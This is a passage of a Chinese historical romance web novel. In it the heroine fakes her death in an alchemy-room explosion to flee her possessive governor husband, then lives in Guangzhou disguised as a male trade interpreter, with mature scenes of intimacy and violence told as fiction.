傅珩推门而入,便见一个蓬头垢面,一身旧道袍,袍袖沾灰,不修边幅的道士,正捧着一只奇形琉璃瓶手舞足蹈,如痴如狂。 孟清辞则端坐在一旁喝茶,神色平静如水。 傅珩目光在她脸上一落,温声问:“什么成了?” 孟清辞见傅珩来,眼底掠过一丝心虚,旋即宁定如初,只淡淡道:“没什么。你怎么来了?” “来接你回去。”他上前握住她的手,只觉得指尖冰凉,不由蹙眉:“手怎么这样冷?” 孟清辞不想傅珩在此多待,便敷衍道:“许是坐得久了。既然要回,便走吧,我也有些乏了。” 傅珩瞥了一眼仍沉迷其中的道士,终未再多问。自她有孕以来,情绪反复、易感多泪,敏感多思,他不愿因琐事惹她心绪不快。只取来披风为她仔细系上,哄劝道:“傍晚山风渐起,当心着凉。” 孟清辞笑笑并未推拒。二人辞别玄明真人,相伴下山。 马车上,孟清辞倚在他肩头不久便沉入梦乡。傅珩揽着她瘦削的肩。 忆起当初她在他马车中初次安睡的模样,她那次在他书房醒来,惊慌失措,几乎是逃也似的离开。 殊不知,他在乐安长公主府见她翩然起舞之时,便已决意不肯放手。而今玄明真人一语道破天机,更让他认定,两人是命中注定的天作之合,她合该是他傅珩的女人。 是夜,床榻之间,傅珩格外粘人,温热坚实的胸膛紧贴着她,任凭孟清辞如何推拒,他却岿然不动。孟清辞眼尾都泛红,越发恼恨他。 傅珩却是不肯罢休,他轻柔的啄吻她,在她敏感之处流连忘返,手中动作极尽挑弄手段,口中却是似叹似求:“夫人,疼疼我罢。” 锦衾之间,情|欲高炽,罗帐轻摇,砥砺研磨险些击溃她的神思,她失控到美眸涣散,鬓发汗湿,只能如藤依乔木,似舟泊港湾。 傅珩爱极了她此时全心依附她的模样,好似两人神识合一,檀口微张,细细喘|息,傅珩与她耳鬓厮磨总也不够。 孟清辞只觉得他如今手段越发叫她招架不住,整个人娇软无力,好似化成了一滩水,力竭到极致,剧烈的痉挛,仍旧不肯放过她。 傅珩餍足的将她揽在怀中,只觉满怀温香软玉叫他心满意足,轻抚她鬓发,温声低语:“浙江有流寇作乱,需我亲去平叛,明日便需启程。” 孟清辞身体几不可察地激动,随即刻意放松下来,抑制砰砰的心跳,担心问道:“要去多久?可赶得及,在咱们孩子出生前回来么?” 傅珩低笑一声,胸腔微微震动,温热的掌心轻抚她后背:“放心少则半月,多则月余,你临盆之时,我定会守在你的身边。” 孟清辞仿佛安心的松了口气,声音轻柔却郑重叮嘱道:“刀剑无眼,你必要珍重自身,我和肚子里的孩子,可还要指望你。” 傅珩闻言,心口蓦地一热。小姑娘素来性子清冷倔强,从不喜依赖人,许是身怀有孕、心思脆弱的缘故,也偶尔愿意亲近他,即便心知肚明,他心下也是说不出的畅快。 在孟清辞额头落下轻柔的一吻,傅珩温声哄慰:“你只管放心在府中安胎。” 孟清辞喉咙动了动,往傅珩傅珩怀里靠了靠,装作乖顺的应允,殊不知孟清辞此时心都飞起来了。 翌日,孟清辞依依不舍的与送傅珩上路,还湿了眼尾,那样子叫傅珩心里发堵,还未出发便归心似箭,只想着此战定要速战速决。 傅珩走后没两日,孟清辞仍常往青云观中去。 墨松近日眼皮总是跳个不停,心思烦乱,坐立难安。每回随夫人前往青云观,都让墨松摸不着头脑,看不懂孟清辞到底想要做什么。 虽满心困惑,却谨记主子临行前的交代,若是夫人想要去道观,叫他不必阻拦,他也只能依从。 霞光这时端着盘糕点轻步走近,将点心递到墨松眼前,笑问道:“在想什么?心神不属的的?” “没什么。”墨松摇了摇头,接过点心,问道:“你怎么不在夫人身边伺候?” 霞光撇了撇嘴,对墨松抱怨道:“别提了,炼丹房里乱得没处下脚,瓶瓶罐罐堆得到处都是,那老道长整日神神叨叨,把那些东西宝贝的很,除了夫人,谁也不叫靠近。除了夫人,旁人半步都不让近。方才夫人叫我先去备些饭食,说她稍后便来。” 两人话音未落,便骤然听得一声巨响,如惊雷炸裂耳畔,震得人双耳嗡鸣,脚下的地面都颤了颤。霞光吓得失声惊叫,下意识紧紧抓住墨松的手臂。 墨松心里咯噔一声,心头猛地一沉,没来由的慌得厉害,他目光迅速扫视四周,发现巨响是从炼丹房传出来的。 墨松大喊一声:“不好。”再顾不得其他,身形如电般疾冲而去。 待到冲至近前,发现整个炼丹房都坍塌了,还有火在烧,冒出滚滚浓烟,刺鼻的焦糊味弥漫在空气里,眼前惨不忍睹的景象令他血液几乎凝固。 正在此时,那平日里疯疯癫癫的老道不知从何处窜了出来,见了这情形,捶胸顿足的哀嚎道:“完了,我的宝贝呀,全完了。” 霞光吓得破了音,冲到前面大喊:“夫人!夫人!”红了眼睛对墨松喊道:“快灭火,夫人还在里面,快救救夫人。” 墨松双拳狠狠攥紧,咬紧牙关,他强自压下心头翻涌的恐慌,厉声指挥近卫“快!取水救火!动作快!” 他猛地提起一旁满盛的水桶,兜头将自己浇了个透湿,抿唇一头扎进了那肆虐的火海之中。热浪裹挟着浓烟扑面而来,几乎令人窒息。 墨松心里却已凉了半截:主梁都塌了,四周墙壁倾颓殆尽,满目皆是焦黑残骸与熊熊烈焰。夫人若在里面,只怕已是凶多吉少。 玄明真人闻声赶来,抓着还在颠三倒四的好友,疾声厉色质问:“清虚子,夫人呢?” 那叫清虚子的疯癫道士,指着炼丹房,一脸一言难尽的惋惜:“贫道就去了趟茅厕,谁知道,谁知道就” 玄明真人又问:“何来的巨响?” 清虚子也愣了下,摇头道:“贫道哪里会知道,好好的怎么就变成了这副模样?” 玄明真人闻言面色骤变,心中大骇。他深知傅珩对此女何等重视,若她真有不测,傅珩怕是要踏平青云观。 忽然玄明真人不明觉厉,一个念头掠过脑海,似乎想到了什么,喃喃自语:“不对,不对,不应该是这样,绝对不可能如此!” 此刻墨松正从浓烟滚滚的废墟中踉跄而出,满面尘灰,一脸凝重。先是不知道哪来的巨响,犹如雷鸣,后有是大火,他方才已拼力搜寻,可除了焦木残瓦,除了衣料残片和一只损毁的绣鞋,他连半点踪迹都未曾寻得。 玄明真人疾步上前,一把攥住墨松手臂,声音急促却异常坚决:“速速派人搜山!快,要快。” 墨松先是怔住,旋即很快振作其精神,立即喝令一众近卫封山细查,自己则带领几名亲信,翻山上马,如离弦之箭般直冲下山路而去。 墨松一路纵马疾驰,却不见孟清辞半点身影,待到山下林间,忽见一约莫六旬的老樵夫,正佝偻着背,背着一捆柴火,蹒跚而行。 他猛地勒紧缰绳,骏马长嘶一声,拦住樵夫问道:“老丈,可曾见过一位年方二八的女子经过?” 老樵夫被墨松骤然拦下,先是吓得浑身一颤,满脸惊诧,待听清问话,却只是咿咿呀呀地比划着手势,浑浊的眼中满是惶惑。 一旁的属下观察片刻,低声回禀:“是个哑的,他的意思是什么都没看见,怕是问不出什么了。” 墨松心有不甘,也只能咬牙离去,狠狠一鞭抽下,马蹄扬起滚滚烟尘,一众身影很快消失在林间。 那老者依旧背着那捆柴火,佝偻着背,不紧不慢的走着,最终一步步向着码头而去。 夜里,孟清辞卸去了伪装,,换上一袭银灰暗纹圆领袍,墨发以玉冠高束,俨然一位清贵倜傥的贵公子,却是换了副模样,全然不似从前样貌。 朱幼宜见了,不由得惊叹一声:“你这般模样,竟真看不出半分女子形迹。翩翩如玉,清贵难言,想不到你还有这等本事。” “雕虫小技。”孟清辞闻言轻笑,手中一柄素面折扇“唰”地展开又合拢,扇骨轻抬,不紧不慢地托起朱幼宜的下颌,声线也压得低醇:“那夫人……是否该唤我一声夫君?” 孟清辞心想:幸好她穿越前因拍戏,学过反串和易容,否则今日,即便有朱幼宜接应,怕是也不好脱身。 朱幼宜握住那柄冰凉的扇骨,目光却仍凝在她脸上,又问:“走了便再难回头,你真舍得巡抚府的滔天权势?” 孟清辞抽回折扇随意插在腰间,转而从袖中抽出那张良籍,就着跳跃的烛火点燃。纸张顺着火舌,蜷曲焦黑,明灭火光映照她疏冷的眉眼“从此世间,再无孟清辞。” 朱幼宜叹一声又道:“你这种香似乎有所不同,你以后”她欲言又止,终是不忍瞒着她:“日后你对旁的男子,怕是再无法生情。” 孟清辞眸光微凝,带着几分不解望向朱幼宜。 朱幼宜咬了咬唇,犹豫片刻才道:“这‘种香’之术,本出自我母亲一族,为了有情人终成眷属而制成,本意是为了感知彼此情意,为的是灵肉合一,望有情人白头携手。” 第46章 第 46 章 掘地三尺 朱幼宜语气微顿:“种香’以一方心头血滋养所爱之人, 女子若是怀孕产子,便可解思念之渴。可我观你又有所不同,虽然你怀孕产子可解思念之渴, 我却感知你似乎被‘种香’了两次, 所以除了他,你此生再无法对旁人动情了。” 朱幼宜暗忖, 那闽广巡抚傅大人,当真是个狠戾之人。寻常人以心引血一次亦是常人所不能及, 这男人竟然能引两次心头血,还真是叫人不寒而栗,如此痴狂, 难怪令孟姑娘避之唯恐不及。 孟清辞想到傅珩总是提及,自己已然对他动心动情之类的话语,目露鄙夷之色, 心道:老家伙原来一直在处心积虑的骗自己。 青云观中,扑炼丹房的烈火终于被扑灭。只余残垣断壁,焦木碎瓦, 焚烧的黑尘四处飘散。霞光踉跄着寻遍了废墟的每一处角落,黑灰沾上她的衣襟和脸颊,十指指尖渗血, 她却浑然不觉疼痛。 最终, 她绝望的跌坐在废墟之上, 目光空洞地望着眼前被大火席卷后的断梁残瓦。她哭的泣不成声, 几乎昏厥过去, 无法相信,孟清辞这般好的人,怎就会这样没了。 玄明真人眉峰紧蹙, 一脸凝重,矍铄的眼中映出半轮冷月与满院跳动的火把。直觉哪里不对劲,他才为主公起过一卦,主公的贵人,绝不该殒身非命。 可玄明真人此刻仰首望去,虽然明月在天,却星子隐迹、天幕沉寂。他凝神再推,竟只觉得一片混沌,无法窥探天机。虽然知道希望渺茫,仍旧希冀墨松那边,能有一丝转机。 清虚子烦躁的抓着头发,围着废墟来来回回打转,口中神神叨叨的嘀咕着:“不对啊,没打雷,哪里还的炸响?”他不停的摇头,左看右看:“不对,不对,哪里都不对,为什么?为什么?为什么会起火?” 一缕烟灰随风轻轻送至他鼻尖。他猛地吸了一口气,回味的嗅了嗅,随即俯身钻入废墟之中,时而凑近焦木仔细嗅闻,时而拨开瓦砾凝神辨别。半晌,他蹙紧眉头,喃喃自语,疑惑道:“这是什么东西的味道?炼丹时从未用过这样一味材料。究竟是什么东西?” 清虚子本就是个炼丹成痴,此刻更是发了狠,穿梭于废墟进,定要将这废墟翻个底朝天才肯罢休。 玄明真人站在一旁,听得清虚子口中零碎的呢喃,心头疑惑重重。他亦缓步踏入废墟,见那原本一人高的炼丹炉,竟然四分五裂,崩裂的残骸散落四处。可见那一声如雷炸响的威力,若当时主公的夫人,果真身在炼丹房里,恐怕已然凶多吉少。 玄明真人的目光却紧紧追随着清虚子忙碌穿梭的身影,又想:究竟是何物,能爆发出如此可怕的威力?,那东西,又和主公的夫人有何关连?今日有人是刻意为之?还是意外? 墨松一路快马加鞭入城,即刻通传衙门封锁各处城门,又调派近卫赶赴码头严加盘查。他自己则一马当先,直奔宋泊简的成衣店,率众将宋泊简的店铺与宅邸围得水泄不通。一声令下,近卫如潮水般涌入,翻箱倒柜、掘地三尺。 墨松一脸肃杀之气,目光凌厉如刃,逼视静立店中的宋泊简:“你须明白,若真搜出什么来,便是灭门之罪。” 宋泊简一身月白素色长衫,身形如竹挺拔。他面色平静无波,从容迎上墨松冷厉的视线,淡然道:“草民不知发生何事。不过草民向来奉公守法,大人只管搜便是。” 墨松见宋泊简神色坦然,不见半分心虚之态,他反而心头愈发焦灼难安。墨松的坐骑似有所感,原地凌乱的踏了几步,他指节不自觉地攥紧了缰绳牵制。 墨松不禁暗忖:夫人不过是个手无缚鸡之力的弱女子,若无人暗中相助,绝无可能从他们严密看守中脱身。若再寻不见踪迹,那便只能是葬身于青云观那片炼丹房废墟之中了。到那时,他要如何和主公交代? 待墨松一行人打马扬长而去,掌柜的才从宋泊简身后颤巍巍地探出身来,他衣袍下的身子,仍止不住的发抖,心疼道:“东家,您看,他们这番折腾,损毁了不少货物啊!” 宋泊简长舒一口气,眼底漾开一丝不易察觉的畅快。他抬手拍了拍掌柜的肩头,语气平和道:“无妨,皆是身外之物,收拾干净便是。”只要能助她,这些损失又算得了什么。 京畿安义候府,傅鸿轩躺在床上,盖着藏蓝色的锦缎被褥,只露出一张瘦削的脸,下巴上有青色的胡茬,嘴角偶有口涎流出。 他那双深陷的眼睛死死盯住床榻边的老夫人王氏,眼里迸发出奇异的光,他努力的蠕动喉咙,发出嗬嗬的诡异声音。他翕动的嘴唇,拼尽全身力气想要吐出只言片语,却终究化作一行口涎顺着唇角流下。 屋里弥漫着腐败的味道,混合着排泄物的腥臊,又被浓重苦涩的药味遮住,几种气味儿纠缠在一起,丝丝缕缕,似有若无。 自儿子傅继宗的死讯传回,老夫人王氏的头发竟已全然雪白。昔日那份矍铄的精神气仿佛一夜抽干,只剩下一具被悲痛蚀空的躯壳。 她在佛堂,眼泪几乎熬干了,一双老眼浑浊不堪,望向榻上那个她曾最疼爱的孙儿。 她没有勇气掀开那床锦被,只颤巍巍地将手伸进了被褥中,小心翼翼地摸索伤处。 傅鸿轩原本急切地想要表达什么,突然意识到祖母的意图,脸色骤然僵住。他激动地发出“啊啊”的嘶吼,满眼的抗拒和羞愤,却无济于事。 他的身体早就被一碗药下去,失去了知觉,只能任人宰割,如今,连昔日对他唯唯诺诺的仆婢都能骑在他头上拉屎撒尿。 不过片刻,老夫人王氏收回颤抖的手,一股腐败的恶臭弥漫开来,她的指间与掌心沾满了褐黄色的污浊液体。她难以置信地盯着自己的手,早已干涸的眼眶竟在瞬间涌满了泪水。 老夫人王氏仿佛浑然不觉手上的污秽,颤抖的双手缓缓掩住面庞,压抑不住的呜咽悲泣声断续逸出。 傅鸿轩望着祖母佝偻的身影,听着祖母心碎的哭声,他眼眶骤然一热。泪水无声从眼角滑落。 不知哭了多久,老夫人王氏抽噎着抬起头来,满面泪痕,悲戚的哽咽道:“轩哥儿别怕,祖母会一直陪着轩哥儿。” 傅鸿轩这些日子仿佛活在地狱般生不如死,腐败残缺的身躯,任由卑贱的奴婢践踏尊严,他每一刻都在求生不得、求死不能的苦痛中反复煎熬。最疼他的祖母终于来看他,温声低语如春风般拂过他溃烂的灵魂,傅鸿轩的心总算有了归处。 只眨眼间,不及傅鸿轩反应,一柄锋利的匕首便利落的插入了他的喉头,鲜血汩汩涌出,他睁圆了眼睛,看着祖母温柔中带着悲伤的目光看着他,仍在说:“轩哥儿别怕,祖母会一直陪着轩哥儿。” 傅鸿轩失去意识前,又见祖母将匕首拔出,毫不犹豫的插入自己的心口,将一切都结束了。 五日后,一封密信经快马疾驰,送到傅珩手中,傅珩展开看完,面色倏然惨白,字字句句犹如腕心,未及放下信纸,他猛地俯身,一口鲜血急涌而出,溅染纸笺。 案上烛火剧烈摇曳,他只觉得天旋地转,心如刀绞,竟连呼吸都带起阵阵裂痛。 想到临别那晚,孟清辞对自己依依不舍,那句“我等你回来”犹在耳畔,傅珩只觉心口猛地翻绞,喉头涌上腥甜,竟又是一口鲜血喷溅而出。 “主子,你要保重身体。”墨简见状脸色骤变,急步上前封住傅珩胸前两处大穴,转身便要去唤大夫。 “不许去,阵前主帅有异,如何稳定军心。”却被傅珩一把拉住,不容置喙道:“传令给姚如海,三日内,要他速战速决,否则提头来见。” 墨简只得领命退下,一路疾行至浙江知州姚如海处,沉声传达了主子的命令。 浙江知州姚如海闻言一时愕然,这伙流寇分明是佯攻,意在刺探浙江沿海布防虚实,原计划是保存实力,放假消息与之周旋,座师怎么临时改了主意? 姚如海暗自疑惑,想要旁敲侧击,试探着开口道:“不知老师为何突然改了主意,还请简兄点拨下官一二。” 墨简脸色沉肃,语气如冰:“你我各司其职,姚大人只需依令行事,主子的心思不是你我能随意窥伺的。” 姚如海被这话一慑,顿时不敢再造次,只得敛声应诺,匆匆领命退下。 待傅珩平息流寇,日夜兼程赶回闽州,推开门,两人的房间与他临行前别无二致。一支孟清辞常戴的玉簪,被她随手搁在妆奁旁,屋中什么东西都没有少,好像她只是出门片刻,暮色四合时,便会归来。 傅珩只觉一颗心仿佛被生生掏了个洞,呼呼的惯着凉风,浑身血液顷刻间便冷透了。 海上,一艘悬挂岑氏商旗的商船正破浪而行,自闽州南下广州。 船上是一对年轻的小夫妻,挽着妇人发髻的女子问:“当真要去广州?即便改了样貌,即便你装扮的像个男子,不怕被发现吗?” 一袭墨色长袍的年轻男子,身姿清越,挺拔如修竹,海风拂过,衣袂翻飞间,更显其气度卓然。他负手立在船舷,嘴角扬起一抹自负的笑:“最危险的地方最安全,况且,我赌他一时半刻,绝不会回广州。 ” 倏而,侧头补了一句:“夫人且宽心。”—— 作者有话说:孟清辞:走了别想我 傅珩:你够狠 第47章 第 47 章 改头换面 自从青云观炼丹房被炸后, 城内立即全面封锁、严加排查数日。不久,坊间种种流言渐起,纷纷传言, 此事实为有人意图谋害巡抚傅大人的新夫人。不过短短数日, 谣言便辗转传得愈发离奇曲折。 幸而,孟清辞此前曾亲自督下令办查处姓陈的妖道, 更从他口中拷问出众多借修道之名行恶的同道,最终将这些人押赴城中菜市口正法。 那陈老道本人虽未以童男童女炼制丹药, 但在酷刑之下,陈老道不仅如实供认了自己多年来坑蒙拐骗、假借修道玷污了多名女子的罪行,更揭发另一批以幼童炼丹的邪道。 因是孟清辞特意吩咐的差事, 加之有傅珩的近卫从旁督办,府衙上下无人敢有丝毫的怠慢。 不出数日,府衙便在闽州一带缉拿十余名涉案道士。这些人皆假借传道之名, 专行伤天害理之恶事。 真相大白后,曾有受害者亲至巡抚府门前给孟清辞磕头,一时, 加之她先前为朱家孤女鸣不平之事早已传遍闽州,百姓对这位巡抚夫人莫不敬重有加。 忽闻她或在青云观中遭难,众人皆痛心悲愤, 唏嘘不已。更有百姓携祭品至青云观门前。乃去青云观的沿路焚香祭拜, 以慰这位巡抚夫人的在天之灵。 自孟清辞出事后, 青云观即刻被封锁, 当日所有在场之人皆被墨松一一盘查身份, 连祖宗八代都盘问得清清楚楚。 待傅珩归来时,巡抚夫人不幸身亡的消息早已传得满城风雨。 傅珩快马回到府邸,竟见巡抚府门前, 有人披麻戴孝伏跪于地,哀声痛哭,傅珩见之震怒,立时下令责打墨松五十大板。 青云观自事发当日即被墨松严密封锁,禁止任何人随意进出,大门由傅珩的近卫日夜把守。 傅珩昨夜方归,在两人昔日的卧房中独坐一夜。此刻他双眼赤红,下颌泛着青灰胡茬。 一早便快马出城赶来青云观,傅珩立于炼丹房废墟之前,怔怔地望着眼前这片焦黑倾颓之景。烧成炭黑的断梁残壁,与他那日来接孟清辞时所见的丹房模样,早已面目全非,无从对应。 傅珩说不清心中是何滋味,只觉心脏处麻痹毫无知觉,仿佛血液不再涌动。 他甚至忍不住想,若这一切都是她的预谋,她只想要逃离他,他会宽恕她的背叛。 只因傅珩根本不敢想象,青铜所制的炼丹炉都被炸的四分五裂的情况下,若她当时真在其中,该会是怎样一番惨景。 她若是在里面,没能躲开这一切,那时她该有多痛?况且她还怀着他们的孩子。 傅珩只能竭力抑制自己不再想下去,犹如一只无形之手紧紧攥住他的心脏,令他窒息难言。 他艰难地喘息着,空气中仍隐约弥漫着焦糊的气味。留给傅珩的,只有几片破碎的衣角,和一只几乎烧毁的绣鞋。 玄明真人被他这般情状惊得心头一紧,他与傅珩亦师亦友,旁人或许不知傅珩性情中那份阴郁与戾气,玄明却再清楚不过。这样放任,搞不好傅珩要误入歧途。 如今正是他们大业的紧要时候,生怕主公一时承受不住丧妻之痛,那接下来他们多年谋划的大计可是要前功尽弃。 最不可估量的是,若是傅珩发起狠来,只届时这天下,恐怕真要沦为一片炼狱。 玄明真人何等的眼力,一眼便看出主公根本不愿接受爱妻已然离世的事实。为今之计,唯有暂且稳住主公的心绪,哪怕是用些虚妄之言来安抚,也只得如此了。 傅珩并不是三言两语能被左右之人,他坐于炼丹房废墟之前,黑眸犹如席卷着飓风的深渊,亲自将昂日接近过炼丹房,活在其中侍奉的一干人等,又或有嫌疑之人,统统亲自审问一遍。 几个被查出因怠惰而玩忽职守的奴婢,当场便被拖到一边去处决,血溅石阶。 直至审问清虚子,是个疯癫道士,只醉心炼丹之术,言语对答恍惚混乱,颠三倒四,又对孟清辞之死毫无悲悯之意,只一味痛惜他那被炸毁的丹炉。 傅珩越听越怒,认定正是清虚子疏忽才致孟清辞陷险殒命,当即厉声道:“来人,将他拖下去,斩了!” 玄明真人疾步上前阻拦:“主公,不可!万万不可啊!” 傅珩眼底猩红,杀意翻涌,看玄明真人的目光亦是冷漠冰寒,隐含杀意。他临行前,玄明真人曾言,孟清辞身负凤命、乃他命中贵人,可转眼间却香消玉殒。因此他如今对玄明真人也没多少信任。 玄明真人见他神色阴鸷,院中的青石板半数已被鲜血浸染,血腥味弥漫飘散,再看主公,俨然要杀红了眼,只得硬着头皮将蹊跷道来:“主公明鉴,除天雷之外,世间从未有如此威力之物。炼丹房非但坍塌,房内地面更被炸出深坑,丹炉亦成碎片。便是引天雷亦也不见得有次威力,此非寻常之火,此乃神迹也。” 傅珩仍不语,只冷冷注视着他。 玄明真人又道:“清虚子不通人情,非是对夫人不敬,相反,清虚子对夫人很是崇敬,道夫人于炼丹一术乃是天才。清虚子已于废墟一角寻得残渣,经反复试炼,竟复原出夫人当日所制之物。”说到此处,玄明真人有些抑制不住激动:“此物威力惊天,若用于军中,则天下唾手可得。” 傅珩嘴角勾起一丝讥诮,仍不置一词。 玄明真人见他耐心即将告罄,不敢再绕弯,径直说道:“清虚子供述,夫人此前常与他一处探讨炼丹之术,可他寻得的几味药引,此前却从未涉及,更不曾用过。如此大量之物从何而来?事发之时,又仅夫人一人在内,她是如何出的事?真相未明便杀清虚子,无异于自断线索。看在他尚且有些用处,不如暂且饶过他,叫他立功赎罪。” 他趋前一步,声音压低:“若夫人尚在人世,他日主公君临天下,何愁寻她不回?如今主公仅得三州,欲图大业尚需时日。然得此炸药,便可不再隐忍,可直取皇位,届时,还有什么,是您得不到的?” 傅珩指节攥得发白。他望向那片焦土,一想到她可能不在人世,傅珩心中撕裂般痛楚。 明知道玄明真人说的希望渺茫,却又有一丝不肯熄灭的妄念在心底疯狂滋长,涨得他心口难受。 傅珩忍不住想:或许她真的没死。或许这一切,真是她一场精心设计的脱身之策。 他终于闭上眼,哑声道:“……清虚子暂押你处,由你看管,着你督造此物,不得延误。” 玄明真人听此,才暗暗长舒一口气,俯身领命,后背已然冰冷一片。 孟清辞与朱幼宜一路乘船南下,终抵广州。为掩人耳目,二人皆改换身份。 朱幼宜之母出自广州岑氏,乃是肇庆府与罗定州势力雄厚的大土司,朱幼宜归返岑氏后,改头换面,冠以母姓,更名岑阿娇。并以昔日变卖家产所得之巨资,借岑氏之势,于广州经营起生意来。 岑氏一族根基深远,为孟清辞安排一个新身份易如反掌,如此,两人在广州安顿下来。 随着时日推移,孟清辞身孕渐显。为避人耳目,她一直隐居于城外庄子上养胎,光阴悄转,又过数月,终于一个暖风微拂的午后,孟清辞忽然发动了。 岑阿娇扶着孟清辞到床榻上,一阵阵的宫缩疼得孟清辞气息凌乱不堪,虚弱的冷汗不多时便浸透鬓发。 一早便请来的稳婆经验老到,不慌不忙的给孟清辞擦拭额头细密的汗珠,一面温声安慰:“夫人莫慌,存着力气,莫要乱使劲儿,待会儿开到了指数,叫您使劲儿您再发动。” 孟清辞调整呼吸的频率,尽量想些别的,心底却仍旧害怕的厉害,毕竟这时候生孩子,难产而亡的概率太高了。 “快了,快了,夫人您再忍忍。”稳婆安抚着:“缓口气儿,慢慢吐息。” 稳婆又拿来参片,喂给孟清辞:“您含着,提提神,马上便要用力了。” 疼痛再次席卷,孟清辞只觉得疼的她眼前发黑,却仍旧坚持着,只在心里不停问候傅珩母亲。 稳婆忽然催促:“用力,夫人用力,孩子要出来了,快用力,就快了。” 孟清辞在稳婆的指引下集中残存的气力,终于在一声嘹亮婴啼中脱力倒下。 稳婆抱着孩子,一边清理,笑道:“恭喜夫人,喜得麟儿,是个小公子呢。” 闽州巡抚府邸,傅珩这日夜里辗转反侧,近日是孟清辞临盆的日子,他想,若是孟清辞还好好的,不知道这时候是不是要生了,她身体弱,也不知道是否顺利。 他猛然做起身子,对着外面唤道:“来人,去将张大夫叫来。” 张合是从被窝里被拽出来的,他迷迷瞪瞪,连衣襟的扣子都系串了位置,被仆婢催着,提着药箱匆匆来到傅珩侵房。 张合放下药箱,对隐在暗色里的傅珩问道:“大人可是哪里不舒服了?” 却听傅珩问道:“她那样孱弱的身子,若是产子,能母子平安吗?” 张合蒙了一瞬,嘴巴比脑子快,下意识问:“谁?” 傅珩冷若寒潭的眼眸盯着张合,张合猛地一个寒噤,霎时清醒过来,死脑筋的立马回道:“女子产子本就凶险,若是夫人,需看安胎而定,只以夫人的身体,若是不仔细料理,产子后,恐有雪崩之兆。” 霞光简直服了张合这张不会说的嘴,无力的闭了闭眼,赶紧找补道:“夫人福泽深厚,吉人自有天相,必能逢凶化吉。” 传言岑家女招了个赘婿,是个小白脸!—— 作者有话说:孟清辞:往事如烟,自由时间开浪 傅珩:别叫我逮到 作者:架空私设,此前还没炸药 第48章 第 48 章 歌舞升平 夜色里, 广州府小海岸畔,潘家酒肆临水而立,斗拱飞檐下悬着的酒旗在江风中簌簌翻卷。隐有靡靡丝竹之音自酒肆里飘荡而出。 酒肆里, 灯火通明, 人影纷乱,有虬髯卷曲的佛郎机人、黑袍长巾的阿拉伯人, 还有皮肤黝黑的南洋客商,番汉杂处, 鱼龙混杂,南腔北调交织一片。 堂中一方红氍毹上,舞姬伴着琵琶急弦细腰款摆, 腰肢轻旋间媚眼如勾,叫好声、打赏声起此彼伏,小二端盘送酒, 穿梭期间,一派歌舞升平。 二楼雅间里,紧闭的雕花窗棂, 将一楼大堂的喧嚷嘈杂尽数隔绝。 甜腻醉人的香料在炉内袅袅散开,古筝声如泉淙淙流淌。几个绝色舞姬云鬟斜堕,身姿曼妙, 腰似柳回, 眸光流转间, 似语还休。 宴席间, 豪商推杯换盏, 觥筹起落不绝。 周家大少爷周霁宸举杯笑道:“此次多亏子闵兄相助,否则我周家还不知道有这一批货物,措施良机, 一来一回还要等上半年。”一仰头,一杯见底。 孟清辞含笑摆手:“霁宸兄客气,你可是我在濠镜澳的引路人,若是没有你,也没有小弟今日。”说完也将琉璃杯盏里的深红色酒液一饮而尽。 周家大少爷周霁宸得意的向旁边的一位,看上去二十出头的年轻男子道:“子闵最是谦逊,不过,他有一点说的不差,我周霁宸最是慧眼识珠,初见子闵便觉他非池中之物。” 陈君砚‘哦’了一声,饶有兴致的打量起孟清辞,见孟清辞不过双十的年纪,面容俊俏犹带几分稚嫩,唇红齿白,莲花玉冠束发,尽显清雅出尘之姿。一袭青碧色暗纹圆领长袍,衬得他如瑶林琼树,风姿清举,举手投足间一派洒脱风流。 周霁宸大有吾弟初长成的自豪,拍了拍孟清辞的肩头,言语间略有炫耀之意:“寻常通事,下者仅能与番商讨价还价,好些的略识货品,口齿伶俐者也不过通晓一种番语——正所谓贪多嚼不烂,欲与番人深谈,却终是词穷意短。” 周霁宸言至此处,语带赞叹,声音也扬了几分“唯有子闵,非但通晓数种番话,更能臻于精通,甚至与番商称兄道弟,颇受番商欢迎,如今若有什么紧俏货到靠岸,第一个知晓风声的,必是他金韫年!” 陈君砚听到此处,不由得端正神色,重新将孟清辞细细打量一番。他目光灼灼,含笑说道:“早就听闻小海港有一位手眼通天的‘金通事’,却不想小兄弟如此年轻,竟有这般能耐,实在令陈某佩服。” 周霁宸见陈君砚递来眼色,便会意一笑,向孟清辞引见:“子闵,这位便是大名鼎鼎浙江府陈家的七爷。你既在这小海港中行走,怎可不识得他,陈家与浙江知州连着姻亲,去往浙江州府的海贸,皆需陈家点头。” 陈君砚摆手自谦:“霁宸兄慎言。姚知州为官清正,陈家不过蒙其信任,多有抬举,与我那侄女并无甚么干系。霁宸兄莫要牵涉女眷。” 周霁宸连忙举杯致歉:“是小弟失言了,该罚、该罚!”说罢连饮三杯。 孟清辞见周霁宸果真饮尽,陈君砚却并未阻拦,心下明白二人之中当以陈君砚为尊。又想起两年前曾在浙江知州府邸见过那位知州夫人,似乎正是姓陈,顿时了然七八分。 她按下略快的心跳,起身亲自为陈君砚斟满一杯,恭谨说道:“陈七爷谬赞,金某愧不敢当。今日得识七爷,实乃三生有幸。今后还望七爷多多指点扶持,若有需金某效力之处,定当竭尽所能。” 周霁宸因孟清辞助他拿下那批西洋钟,一心欲为她铺展人脉,便在旁笑道:“你这般灵透的人,怎么还左一个‘金某’右一个‘金某’?今日宴上皆是兄弟,你还不快快称一句七哥。” 孟清辞从善如流的端起酒杯,与陈君砚放在桌上的杯盏轻轻一碰,含笑说道:“小弟不胜荣幸,舔颜唤一声七哥,在此敬七哥一杯。” 离得近了,陈君砚向后闲闲靠向椅背,一手搭在桌沿,微微眯眼端详眼前之人。只见孟清辞举止坦荡从容、有礼有节,毫无寻常通事那般乡野蛮气,年纪也轻得过分。不知情的,只怕要以为是哪家高门精心养出的贵公子,这通身的一股清贵之气,说他是明年将要赴京赶考的举人,恐怕都有人信。 陈君砚很给面子地举杯饮尽,算是认下了这个“弟弟”。他唇角含笑,语气温和:“我还没有弟弟,如今有你这么个弟弟,倒是我的福气。” 陈君砚此刻倒也明白了周霁宸几分,先不说这金韫年通晓番语、手腕灵通,单是看他这副干干净净的俊俏模样,笑意温润、举止乖巧,俨然一个讨人喜欢的好弟弟,任谁见了,恐怕都难硬起心肠推拒。 孟清辞赶忙又为他斟满一杯,恭谨中带着几分热络:“七哥肯认我,是弟弟的造化。这一杯,再敬七哥。” 孟清辞方欲举杯,忽觉一股香风略过,手中酒杯倏地被夺,随即胸膛被柔弱无骨的一只手推搡在胸膛上,孟清辞猝不及防,不由得向后微退两步。 